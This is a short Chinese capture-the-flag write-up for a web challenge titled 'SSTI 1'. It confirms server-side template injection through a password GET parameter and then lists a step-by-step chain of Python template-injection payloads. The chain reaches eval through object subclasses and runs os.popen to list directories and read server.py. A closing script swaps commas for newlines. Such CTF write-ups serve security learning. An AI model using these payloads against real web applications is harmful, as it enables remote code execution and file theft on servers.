[第三章 web进阶]SSTI 1 WP
一进来,只有一个 password is wrong: 别的啥都没有……
打开 F12,发现也是啥都没有
那就试试 get 题目中的 password(目前看着最可行)
然后惊喜的发现,确实是 get password,试一试 {{7*7}} 发现返回 49,说明可以用

接下来,找父亲,找子类,找模版
?password={{"".__class__}}

?password={{"".__class__.__base__}}

?password={{"".__class__.__base__.__subclasses__()}}


?password={{"".__class__.__base__.__subclasses__()[235]}}

?password={{"".__class__.__base__.__subclasses__()[235].__init__.__globals__['__builtins__']['eval']}}

?password={{"".__class__.__base__.__subclasses__()[235].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
?password={{"".__class__.__base__.__subclasses__()[235].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls; cd app; ls').read()")}}

?password={{"".__class__.__base__.__subclasses__()[235].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls; cd app; ls; cat server.py').read()")}}

不知道为啥 flag 交上不对,看了看别人的 wp 貌似都是这样?
没有啥绕过,挺好的,就是 flag 有亿点难找……
附上替换 , 的代码:
with open('input.txt', 'r', encoding='utf-8') as f:
content = f.read()
new_content = content.replace(',', '\n')
with open('output.txt', 'w', encoding='utf-8') as f:
f.write(new_content)

浙公网安备 33010602011771号